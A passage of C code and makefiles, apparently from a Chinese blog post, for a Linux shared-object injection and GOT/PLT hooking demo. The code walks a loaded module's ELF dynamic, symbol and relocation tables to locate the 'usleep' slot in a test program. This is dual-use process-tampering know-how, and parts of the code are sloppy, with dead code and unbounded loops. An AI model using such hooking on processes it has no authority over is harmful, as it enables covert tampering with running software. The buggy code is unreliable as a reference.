PRINTSWITCH(DT_FINI_ARRAY,d_tag)
PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag)
PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag)
PRINTSWITCH(DT_RUNPATH,d_tag)
PRINTSWITCH(DT_FLAGS,d_tag)
PRINTSWITCH(DT_ENCODING,d_tag)
PRINTSWITCH(DT_PREINIT_ARRAY,d_tag)
PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag)
PRINTSWITCH(DT_NUM,d_tag)
PRINTSWITCH(DT_LOOS,d_tag)
PRINTSWITCH(DT_HIOS,d_tag)
PRINTSWITCH(DT_LOPROC,d_tag)
PRINTSWITCH(DT_HIPROC,d_tag)
PRINTSWITCH(DT_PROCNUM,d_tag)
PRINTSWITCH(DT_VALRNGLO,d_tag)
PRINTSWITCH(DT_GNU_PRELINKED,d_tag)
PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag)
PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag)
PRINTSWITCH(DT_CHECKSUM,d_tag)
PRINTSWITCH(DT_PLTPADSZ,d_tag)
PRINTSWITCH(DT_MOVEENT,d_tag)
PRINTSWITCH(DT_MOVESZ,d_tag)
PRINTSWITCH(DT_FEATURE_1,d_tag)
PRINTSWITCH(DT_POSFLAG_1,d_tag)
PRINTSWITCH(DT_SYMINSZ,d_tag)
PRINTSWITCH(DT_SYMINENT,d_tag)
PRINTSWITCH(DT_VALRNGHI,d_tag)
PRINTSWITCH(DT_ADDRRNGLO,d_tag)
PRINTSWITCH(DT_GNU_HASH,d_tag)
PRINTSWITCH(DT_TLSDESC_PLT,d_tag)
PRINTSWITCH(DT_TLSDESC_GOT,d_tag)
PRINTSWITCH(DT_GNU_CONFLICT,d_tag)
PRINTSWITCH(DT_GNU_LIBLIST,d_tag)
PRINTSWITCH(DT_CONFIG,d_tag)
PRINTSWITCH(DT_DEPAUDIT,d_tag)
PRINTSWITCH(DT_AUDIT,d_tag)
PRINTSWITCH(DT_PLTPAD,d_tag)
PRINTSWITCH(DT_MOVETAB,d_tag)
PRINTSWITCH(DT_SYMINFO,d_tag)
PRINTSWITCH(DT_ADDRRNGHI,d_tag)
PRINTSWITCH(DT_ADDRNUM,d_tag)
PRINTSWITCH(DT_VERSYM,d_tag)
PRINTSWITCH(DT_RELACOUNT,d_tag)
PRINTSWITCH(DT_RELCOUNT,d_tag)
PRINTSWITCH(DT_FLAGS_1,d_tag)
PRINTSWITCH(DT_VERDEF,d_tag)
PRINTSWITCH(DT_VERDEFNUM,d_tag)
PRINTSWITCH(DT_VERNEED,d_tag)
PRINTSWITCH(DT_VERNEEDNUM,d_tag)
PRINTSWITCH(DT_VERSIONTAGNUM,d_tag)
PRINTSWITCH(DT_AUXILIARY,d_tag)
PRINTSWITCH(DT_FILTER,d_tag)
PRINTSWITCH(DT_EXTRANUM,d_tag)
}
void printdyn(Elf32_Dyn* dyn)
{
puts("---------------------------");
printdyntag(dyn->d_tag);
PRINT(d_tag,dyn)
PRINT(d_un.d_val,dyn)
}
void printsym(Elf32_Sym *sym,int straddr)
{
puts("---------------------------");
char sname[40];
memcpy(sname,straddr+sym->st_name,40);
if(sym->st_name)puts(straddr+sym->st_name);
PRINT(st_name,sym)
PRINT(st_value,sym)
PRINT(st_size,sym)
PRINT(st_info,sym)
PRINT(st_other,sym)
PRINT(st_shndx,sym)
}
void printlinkmap(struct link_map*lm)
{
puts("---------------");
PRINT(l_addr,lm)
PRINT(l_ld,lm)
puts(lm->l_name);
}
int enumprocesssym(int pid,const char*libname,const char*fnname)
{
unsigned long modbase = (unsigned long)get_module_base(pid,libname);
unsigned long phdr_addr,shdr_addr, dyn_addr;
int i;
if(modbase==0){
printf("%d[%s] get_module_base=0",pid,libname);
return;
}
printf("modbase=%x\n",modbase);
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr));
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map));
//ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
memcpy(ehdr,modbase,sizeof(Elf32_Ehdr));
printehdr(ehdr);
int offsetdyn =0;
int dynsize = 0;
for(i=0;i<ehdr->e_phnum;i++){
memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
printphdr(phdr);
if(PT_DYNAMIC==phdr->p_type){
offsetdyn = phdr->p_vaddr;
dynsize = phdr->p_memsz;
}
}
int symaddr=0;
int symsize=0;
int straddr=0;
int gotaddr=0;
int mapaddr=0;
for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){
memcpy(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn));
printdyn(dyn);
if(DT_SYMTAB==dyn->d_tag){
symaddr = dyn->d_un.d_val;
}else if(DT_STRTAB==dyn->d_tag){
straddr=dyn->d_un.d_val;
}else if(DT_PLTGOT==dyn->d_tag){
gotaddr=dyn->d_un.d_val;
}
}
for(i=0;;i++){
memcpy(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym));
printsym(sym,straddr);
if(sym->st_name){
char sname[40];
memcpy(sname,straddr+sym->st_name,40);
if(!strcmp(sname,fnname)){
return modbase+sym->st_value;
}
}
}
return 0;
Elf32_Addr gotv=0;
puts("----got------");
int linknodeaddr=0;
for(i=0;i<60;i++){
memcpy(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr));
printf("%x\n",gotv);
if(gotv==0)break;
if(i==1)mapaddr=gotv;
}
i=0;
int laddr = mapaddr;
while(1)
{
memcpy(linknode,laddr,sizeof(struct link_map));
//printlinkmap(linknode);
if(linknode->l_next==0)break;
laddr = linknode->l_next;
}
while(1)
{
memcpy(linknode,laddr,sizeof(struct link_map));
printlinkmap(linknode);
if(linknode->l_prev==0)break;
laddr = linknode->l_prev;
}
return;
}
void printrel(Elf32_Rel*rel,int straddr,int symaddr)
{
printf("-----rel------\n");
PRINT(r_offset,rel)
PRINT(r_info,rel)
//PRINTSWITCH(DT_NULL,d_tag)
}
int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0;
void get_dyn_info(int pid,int dynaddr)
{
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
int i = 0;
memcpy( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
i++;
while (dyn->d_tag) {
switch (dyn->d_tag) {
case DT_SYMTAB:
puts("DT_SYMTAB");
g_symtab = dyn->d_un.d_ptr;
break;
case DT_STRTAB:
g_strtab = dyn->d_un.d_ptr;
puts("DT_STRTAB");
break;
case DT_JMPREL:
g_jmprel = dyn->d_un.d_ptr;
puts("DT_JMPREL");
//printf("jmprel\t %p\n", g_jmprel);
break;
case DT_PLTRELSZ:
g_totalrelsize = dyn->d_un.d_val;
puts("DT_PLTRELSZ");
break;
case DT_RELAENT:
g_relsize = dyn->d_un.d_val;
puts("DT_RELAENT");
break;
case DT_RELENT:
g_relsize = dyn->d_un.d_val;
puts("DT_RELENT");
break;
}
memcpy(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
i++;
}
g_nrels = g_totalrelsize / g_relsize;
free(dyn);
printf("ok g_nrels=%d\n",g_nrels);
}
unsigned long find_sym_in_rel(int pid, char *sym_name,int dynaddr)
{
Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
unsigned long ret;
char str[50];
get_dyn_info(pid,dynaddr);
for (i = 0; i < g_nrels; i++) {
memcpy(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel));
if (ELF32_R_SYM(rel->r_info)) {
memcpy(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym));
memcpy(str,g_strtab + sym->st_name,50);
if (strcmp(str, sym_name) == 0) {
break;
}
}
}
if (i == g_nrels)
ret = 0;
else
ret = rel->r_offset;
free(rel);
free(sym);
return ret;
}
int enumprocrel(int pid,const char*libname)
{
unsigned long modbase = (unsigned long)get_module_base(pid,libname);
unsigned long phdr_addr,shdr_addr, dyn_addr;
int i;
if(modbase==0){
printf("%d[%s] get_module_base=0\n",pid,libname);
return;
}
printf("modbase=%x\n",modbase);
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
//ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
memcpy(ehdr,modbase,sizeof(Elf32_Ehdr));
printehdr(ehdr);
int offsetdyn =0;
int dynsize = 0;
for(i=0;i<ehdr->e_phnum;i++){
memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
printphdr(phdr);
if(PT_DYNAMIC==phdr->p_type){
offsetdyn = phdr->p_vaddr;
dynsize = phdr->p_memsz;
free(ehdr);
free(phdr);
if(offsetdyn<0x08000000)return modbase+offsetdyn;
return offsetdyn;
}
}
return 0;
}
int main(int argc, char *argv[])
{
int c=0;
usleep(10000);
//void * handle = dlopen("/home/user1/injectso/inject/so.so",RTLD_NOW| RTLD_GLOBAL);
//printf("handle = %x\n",handle);
int address=enumprocrel(-1,"loop");
printf("address=%x\n",address);
int sleeprel=find_sym_in_rel(-1,"usleep",address);
printf("address=%x sleeprel=%x\n",address,sleeprel);
while(1)usleep(1000000);
return 0;
}
makefile
all: hook so
hook:
gcc -o hook hook.c p_dbg.c p_elf.c -ldl
so:
gcc -shared -o so.so -fPIC so.c -nostdlib -lpthread
clean:
rm hook
rm so.so
rm *~
all:
gcc -o loop s.c -ldl
clean:
rm loop
rm *~
代码下载地址
http://download.csdn.net/detail/q123456789098/9609159